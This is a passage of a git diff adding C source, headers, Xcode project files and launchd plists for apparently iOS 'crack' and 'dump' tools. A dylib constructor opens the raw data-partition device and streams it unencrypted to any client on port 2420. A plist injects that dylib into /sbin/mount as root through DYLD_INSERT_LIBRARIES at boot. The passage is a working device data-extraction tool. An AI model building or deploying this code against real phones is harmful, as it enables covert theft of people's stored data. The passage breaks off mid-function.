uint8_t* data = malloc(size); + + for(i = 0; i < size; i++) { + sscanf(buf, "%02x", &byte); + data[i] = byte; + buf += 2; + } + return data; +} + +void printBytesToHex(const uint8_t* buffer, size_t bytes) +{ + while(bytes > 0) { + printf("%02x", *buffer); + buffer++; + bytes--; + } +} + +void printHexString(const char* description, const uint8_t* buffer, size_t bytes) +{ + printf("%s : ", description); + printBytesToHex(buffer, bytes); + printf("\n"); +} + +int write_file(const char* filename, uint8_t* data, size_t len) +{ + int fd = open(filename, O_CREAT | O_RDWR); + if (fd < 0) + return -1; + if (write(fd, data, len) != len) + return -1; + close(fd); + return 0; +} + +void writePlistToSyslog(CFDictionaryRef out) +{ + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + if (d == NULL) + return; + syslog(LOG_ERR, CFDataGetBytePtr(d), CFDataGetLength(d)); +} + +int mountDataPartition(const char* mountpoint) +{ + char* diskname = "/dev/disk0s2s1"; + int err; + printf("Trying to mount data partition\n"); + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + + diskname = "/dev/disk0s1s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + diskname = "/dev/disk0s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + + return err; +} + + +int getHFSInfos(struct HFSInfos *infos) +{ + char buf[8192] = {0}; + struct HFSPlusVolumeHeader* header; + unsigned int i; + + int fd = open("/dev/rdisk0s2", O_RDONLY); + if (fd < 0 ) + fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm + if (fd < 0 ) + return fd; + lseek(fd, 0, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + header = (struct HFSPlusVolumeHeader*) &buf[0x400]; + + uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize); + + infos->volumeUUID = header->volumeUUID; + infos->blockSize = blockSize; + + if (blockSize != 0x1000 && blockSize != 0x2000) + { + fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize); + } + else + { + fd = open("/dev/rdisk0", O_RDONLY); + if (fd < 0 ) + return fd; + + if (read(fd, buf, 8192) != 8192) + return -1; + + if (!memcmp(buf, LwVMType, 16)) + { + LwVM* lwvm = (LwVM*) buf; + + if (lwvm->chunks[0] != 0xF000) + { + fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n"); + return -1; + } + + for(i=0; i < 0x400; i++) + { + if(lwvm->chunks[i] == 0x1000) //partition 1 block 0 + { + break; + } + } + uint32_t LwVM_rangeShiftValue = 32 - __builtin_clz((lwvm->mediaSize - 1) >> 10); + + infos->dataVolumeOffset = (i << LwVM_rangeShiftValue) / blockSize; + } + else + { + lseek(fd, 2*blockSize, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4]; + } + } + return 0; +} + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len) +{ + int i; + + CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2); + + for(i=0; i < len; i++) + { + CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]); + } + return s; +} + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len) +{ + CFMutableStringRef s = CreateHexaCFString(buffer, len); + CFDictionaryAddValue(out, key, s); + CFRelease(s); +} + +void saveResults(CFStringRef filename, CFMutableDictionaryRef out) +{ + CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE); + CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL); + CFWriteStreamOpen(stream); + CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL); + CFWriteStreamClose(stream); + + CFRelease(stream); + CFRelease(fileURL); +} + +int create_listening_socket(int port) +{ + struct sockaddr_in listen_addr; + int s, one = 1; + + memset(&listen_addr, 0, sizeof(struct sockaddr)); + listen_addr.sin_family = AF_INET; + listen_addr.sin_port = htons(port); + listen_addr.sin_addr.s_addr = INADDR_ANY; + + s = socket(AF_INET, SOCK_STREAM, 0); + + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0) + { + perror("bind"); + return -1; + } + listen(s, 10); + + return s; +} + +int sock_listen(unsigned short portnum) { + int s; + struct sockaddr_in sa; + + s = socket(AF_INET, SOCK_STREAM, 0); + if(s < 0) { + printf("Unable to open socket\n"); + return -1; + } + + memset(&sa, 0, sizeof(struct sockaddr_in)); + sa.sin_port = htons(portnum); + sa.sin_family = PF_INET; + int x = bind(s, (struct sockaddr*)&sa, sizeof(struct sockaddr_in)); + if(x < 0) { + printf("Unable to bind to socket address\n"); + close(s); + return -1; + } + + listen(s, 3); + return s; +} + +int sock_accept(int sock) { + int x = accept(sock, NULL, NULL); + return x; +} + + +int sock_send(int sock, unsigned char* data, unsigned int size) { + //hexdump(data, size); + int x = send(sock, data, size, 0); + return x; +} + +int sock_recv(int sock, unsigned char* data, unsigned int size) { + int x = recv(sock, data, size, 0); + //hexdump(data, x); + return x; +} diff --git a/crack/crack/util.h b/crack/crack/util.h new file mode 100644 index 0000000..877ba75 --- /dev/null +++ b/crack/crack/util.h @@ -0,0 +1,90 @@ +#include + +struct HFSInfos { + uint64_t volumeUUID; + uint32_t blockSize; + uint32_t dataVolumeOffset; +}; + +struct HFSPlusVolumeHeader { + uint16_t signature; + uint16_t version; + uint32_t attributes; + uint32_t lastMountedVersion; + uint32_t journalInfoBlock; + + uint32_t createDate; + uint32_t modifyDate; + uint32_t backupDate; + uint32_t checkedDate; + + uint32_t fileCount; + uint32_t folderCount; + + uint32_t blockSize; + uint32_t totalBlocks; + uint32_t freeBlocks; + + uint32_t nextAllocation; + uint32_t rsrcClumpSize; + uint32_t dataClumpSize; + uint32_t nextCatalogID; + + uint32_t writeCount; + uint64_t encodingsBitmap; + + uint32_t finderInfo[6]; + uint64_t volumeUUID; + /* + HFSPlusForkData allocationFile; + HFSPlusForkData extentsFile; + HFSPlusForkData catalogFile; + HFSPlusForkData attributesFile; + HFSPlusForkData startupFile;*/ +} __attribute__((packed)); + +//https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h +typedef struct _LwVMPartitionRecord { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t begin; + uint64_t end; + uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted + char partitionName[0x48]; +} __attribute__ ((packed)) LwVMPartitionRecord; + +typedef struct _LwVM { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t mediaSize; + uint32_t numPartitions; + uint32_t crc32; + uint8_t unkn[464]; + LwVMPartitionRecord partitions[12]; + uint16_t chunks[1024]; // chunks[0] should be 0xF000 +} __attribute__ ((packed)) LwVM; + +static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B }; + +int getHFSInfos(struct HFSInfos *infos); + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len); + +void printBytesToHex(const uint8_t* buffer, size_t bytes); +void printHexString(const char* description, const uint8_t* buffer, size_t bytes); +int write_file(const char* filename, uint8_t* data, size_t len); + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len); +void saveResults(CFStringRef filename, CFMutableDictionaryRef out); +void writePlistToSyslog(CFDictionaryRef out); + +int mountDataPartition(const char* mountpoint); + +int create_listening_socket(int port); +char* hex2str(uint8_t* buf, unsigned int sz); +uint8_t* str2hex(char* buf); + +int sock_listen(unsigned short portnum); +int sock_accept(int sock); +int sock_send(int sock, unsigned char* data, unsigned int size); +int sock_recv(int sock, unsigned char* data, unsigned int size); diff --git a/dump/dump.xcodeproj/project.pbxproj b/dump/dump.xcodeproj/project.pbxproj new file mode 100644 index 0000000..a0a1575 --- /dev/null +++ b/dump/dump.xcodeproj/project.pbxproj @@ -0,0 +1,348 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A6E7423188EF333000D650F /* disk.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741A188EF333000D650F /* disk.c */; }; + 8A6E7424188EF333000D650F /* dump.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741D188EF333000D650F /* dump.c */; }; + 8A6E7425188EF333000D650F /* sock.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741F188EF333000D650F /* sock.c */; }; + 8A6E7426188EF333000D650F /* util.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7421188EF333000D650F /* util.c */; }; + 8A6E7466189728F0000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7463189713BA000D650F /* CoreFoundation.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A6E739C188EF0E4000D650F /* dump */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = dump; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E73A1188EF0E4000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E73A2188EF0E4000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E73A4188EF0E4000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E73A7188EF0E4000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E7419188EF333000D650F /* com.sudo-sec.dump.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.dump.plist"; sourceTree = ""; }; + 8A6E741A188EF333000D650F /* disk.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = disk.c; sourceTree = ""; }; + 8A6E741B188EF333000D650F /* disk.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = disk.h; sourceTree = ""; }; + 8A6E741D188EF333000D650F /* dump.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = dump.c; sourceTree = ""; }; + 8A6E741E188EF333000D650F /* dump.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dump.h; sourceTree = ""; }; + 8A6E741F188EF333000D650F /* sock.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = sock.c; sourceTree = ""; }; + 8A6E7420188EF333000D650F /* sock.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sock.h; sourceTree = ""; }; + 8A6E7421188EF333000D650F /* util.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = util.c; sourceTree = ""; }; + 8A6E7422188EF333000D650F /* util.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = util.h; sourceTree = ""; }; + 8A6E7463189713BA000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E7399188EF0E4000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7466189728F0000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A6E7393188EF0E4000D650F = { + isa = PBXGroup; + children = ( + 8A6E739E188EF0E4000D650F /* dump */, + 8A6E739D188EF0E4000D650F /* Products */, + 8A6E7465189728A5000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E739D188EF0E4000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E739C188EF0E4000D650F /* dump */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E739E188EF0E4000D650F /* dump */ = { + isa = PBXGroup; + children = ( + 8A6E7429188EF36D000D650F /* misc */, + 8A6E7428188EF353000D650F /* disk */, + 8A6E7427188EF34B000D650F /* sock */, + 8A6E741D188EF333000D650F /* dump.c */, + 8A6E741E188EF333000D650F /* dump.h */, + 8A6E739F188EF0E4000D650F /* Package */, + 8A6E73A3188EF0E4000D650F /* Supporting Files */, + ); + path = dump; + sourceTree = ""; + }; + 8A6E739F188EF0E4000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E73A0188EF0E4000D650F /* DEBIAN */, + 8A6E73A5188EF0E4000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E73A0188EF0E4000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E73A1188EF0E4000D650F /* control.txt */, + 8A6E73A2188EF0E4000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E73A3188EF0E4000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E7419188EF333000D650F /* com.sudo-sec.dump.plist */, + 8A6E73A4188EF0E4000D650F /* PackageVersion.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E73A5188EF0E4000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E73A6188EF0E4000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E73A6188EF0E4000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E73A7188EF0E4000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E7427188EF34B000D650F /* sock */ = { + isa = PBXGroup; + children = ( + 8A6E741F188EF333000D650F /* sock.c */, + 8A6E7420188EF333000D650F /* sock.h */, + ); + name = sock; + sourceTree = ""; + }; + 8A6E7428188EF353000D650F /* disk */ = { + isa = PBXGroup; + children = ( + 8A6E741A188EF333000D650F /* disk.c */, + 8A6E741B188EF333000D650F /* disk.h */, + ); + name = disk; + sourceTree = ""; + }; + 8A6E7429188EF36D000D650F /* misc */ = { + isa = PBXGroup; + children = ( + 8A6E7421188EF333000D650F /* util.c */, + 8A6E7422188EF333000D650F /* util.h */, + ); + name = misc; + sourceTree = ""; + }; + 8A6E7465189728A5000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E7463189713BA000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E739B188EF0E4000D650F /* dump */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E73AC188EF0E4000D650F /* Build configuration list for PBXNativeTarget "dump" */; + buildPhases = ( + 8A6E7398188EF0E4000D650F /* Sources */, + 8A6E7399188EF0E4000D650F /* Frameworks */, + 8A6E739A188EF0E4000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = dump; + productName = dump; + productReference = 8A6E739C188EF0E4000D650F /* dump */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E7394188EF0E4000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E7397188EF0E4000D650F /* Build configuration list for PBXProject "dump" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E7393188EF0E4000D650F; + productRefGroup = 8A6E739D188EF0E4000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E739B188EF0E4000D650F /* dump */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E739A188EF0E4000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E7398188EF0E4000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7425188EF333000D650F /* sock.c in Sources */, + 8A6E7426188EF333000D650F /* util.c in Sources */, + 8A6E7423188EF333000D650F /* disk.c in Sources */, + 8A6E7424188EF333000D650F /* dump.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E73AA188EF0E4000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E73AB188EF0E4000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E73AD188EF0E4000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E73AE188EF0E4000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E7397188EF0E4000D650F /* Build configuration list for PBXProject "dump" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73AA188EF0E4000D650F /* Debug */, + 8A6E73AB188EF0E4000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E73AC188EF0E4000D650F /* Build configuration list for PBXNativeTarget "dump" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73AD188EF0E4000D650F /* Debug */, + 8A6E73AE188EF0E4000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E7394188EF0E4000D650F /* Project object */; +} diff --git a/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..2478f2b --- /dev/null +++ b/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000..17a240d Binary files /dev/null and b/dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate differ diff --git a/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme new file mode 100644 index 0000000..3fb1084 --- /dev/null +++ b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..c14fdef --- /dev/null +++ b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + dump.xcscheme + + orderHint + 1 + + + SuppressBuildableAutocreation + + 8A6E739B188EF0E4000D650F + + primary + + + + + diff --git a/dump/dump/PackageVersion.plist b/dump/dump/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/dump/dump/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/dump/dump/com.sudo-sec.dump.plist b/dump/dump/com.sudo-sec.dump.plist new file mode 100644 index 0000000..e2c484f --- /dev/null +++ b/dump/dump/com.sudo-sec.dump.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/dump.dylib + + Label + com.sudo-sec.dump + ProgramArguments + + /sbin/mount + + UserName + root + RunAtLoad + + + diff --git a/dump/dump/disk.c b/dump/dump/disk.c new file mode 100644 index 0000000..39c9db3 --- /dev/null +++ b/dump/dump/disk.c @@ -0,0 +1,98 @@ +// +// disk.c +// com.sudo-sec.chop.dump +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sock.h" +#include "disk.h" + +int disk_dump(const char* device, uint16_t port) { + int x = 0; + int y = 0; + int fd = 0; + uint64_t total = 0; + uint64_t totalsize = 0; + uint32_t blocksize = 0; + uint64_t blocktotal = 0; + uint64_t blockcount = 0; + unsigned char buffer[0x2000]; + + memset(buffer, '\0', 0x2000); + syslog(LOG_ERR, "++[DISK]++ Openning raw block device\n"); + fd = open(device, O_RDWR); + if (fd > 0) { + syslog(LOG_ERR, "++[DISK]++ Successfully opened disk0s1s1 block device"); + + //blocksize = 0x2000; + ioctl(fd, DKIOCGETBLOCKSIZE , &blocksize); + ioctl(fd, DKIOCGETBLOCKCOUNT , &blockcount); + blockcount /= 2; + syslog(LOG_ERR, "++[DISK]++ Blocksize is 0x%08x\n", blocksize); + syslog(LOG_ERR, "++[DISK]++ Blockcount is 0x%llx\n", blockcount); + + + syslog(LOG_ERR, "++[DISK]++ Listening on port %hd", port); + int s = sock_listen(port); + if(s > 0) { + syslog(LOG_ERR, "++[DISK]++ Waiting for client to connect"); + int c = sock_accept(s); + if(c > 0) { + syslog(LOG_ERR, "++[DISK]++ Successfully connecteded to client"); + totalsize = blocksize * blockcount; + sock_send(c, (unsigned char*)&totalsize, sizeof(totalsize)); + + + syslog(LOG_ERR, "++[DISK]++ Reading data from block device and writing to socket\n"); + while(blocktotal <= blockcount) { + memset(buffer, '\0', 0x2000); + x = read(fd, buffer, blocksize); + if (x > 0) { + y = sock_send(c, buffer, x); + if(y != x) { + syslog(LOG_ERR, "++[DISK]++ Unable to send same number of bytes\n"); + break; + } + total += x; + blocktotal++; + if(total != 0 && (total % 0x8000000) == 0) { + syslog(LOG_ERR, "++[DISK]++ 0x%llx out of 0x%llx blocks written so far\n", blocktotal, blockcount); + } + } else { + syslog(LOG_ERR, "++[DISK]++ Read 0 or less bytes, appear to be finished"); + //syslog(LOG_ERR, "++[DISK]++ Just to make sure we're not just at a hidden block, let's continue"); + //total += blocksize; + break; + } + } + + close(c); + } + + syslog(LOG_ERR, "++[DISK]++ Successfully read and send 0x%llx blocks totalling 0x%llx bytes", blocktotal, total); + syslog(LOG_ERR, "++[DISK]++ Closing socket"); + close(s); + } + + syslog(LOG_ERR, "++[DISK]++ Closing raw block device\n"); + close(fd); + fd = 0; + + } else { + syslog(LOG_ERR, "++[DISK]++ Unable to open raw block device for reading: %d", x); + return -1; + } + return 0; +} diff --git a/dump/dump/disk.h b/dump/dump/disk.h new file mode 100644 index 0000000..fdbfe26 --- /dev/null +++ b/dump/dump/disk.h @@ -0,0 +1,21 @@ +// +// dump.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_dump_h +#define chop_dump_h + +#include +#include + +#define DKIOCGETBLOCKSIZE _IOR('d', 24, uint32_t) +#define DKIOCGETBLOCKCOUNT _IOR('d', 25, uint64_t) + +int disk_dump(const char* device, uint16_t port); +//int disk_flash(char* device); + +#endif diff --git a/dump/dump/dump.c b/dump/dump/dump.c new file mode 100644 index 0000000..b5fec38 --- /dev/null +++ b/dump/dump/dump.c @@ -0,0 +1,29 @@ +// +// dump.c +// dump +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. + +#include +#include + +#include "disk.h" +#include "dump.h" + +void dump_enter(void) __attribute__((constructor)); +void dump_leave(void) __attribute__((destructor)); + +void dump_enter() { + syslog(LOG_ERR, "++[DUMP]++ Entering dump.dylib"); + int x = disk_dump("/dev/rdisk0s1s2", 2420); + if(x) { + syslog(LOG_ERR, "++[DUMP]++ Error dumping data"); + } else { + syslog(LOG_ERR, "++[DUMP]++ Dump finished"); + } +} + +void dump_leave() { + syslog(LOG_ERR, "++[DUMP]++ Leaving dump.dylib\n"); +} \ No newline at end of file diff --git a/dump/dump/dump.h b/dump/dump/dump.h new file mode 100644 index 0000000..d87e935 --- /dev/null +++ b/dump/dump/dump.h @@ -0,0 +1,12 @@ +// +// dump.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_dump_h +#define chop_dump_h + +#endif diff --git a/dump/dump/sock.c b/dump/dump/sock.c new file mode 100644 index 0000000..742b2f4 --- /dev/null +++ b/dump/dump/sock.c @@ -0,0 +1,60 @@ +// +// sock.cpp +// dbltool +// +// Created by Joshua Hill on 2/15/13. +// +// + +#include +#include +#include + +#include +#include +#include + +#include "sock.h" +//#include "util.h" + +int sock_listen(unsigned short portnum) { + int s; + struct sockaddr_in sa; + + s = socket(AF_INET, SOCK_STREAM, 0); + if(s < 0) { + printf("Unable to open socket\n"); + return -1; + } + + memset(&sa, 0, sizeof(struct sockaddr_in)); + sa.sin_port = htons(portnum); + sa.sin_family = PF_INET; + int x = bind(s, (struct sockaddr*)&sa, sizeof(struct sockaddr_in)); + if(x < 0) { + printf("Unable to bind to socket address\n"); + close(s); + return -1; + } + + listen(s, 3); + return s; +} + +int 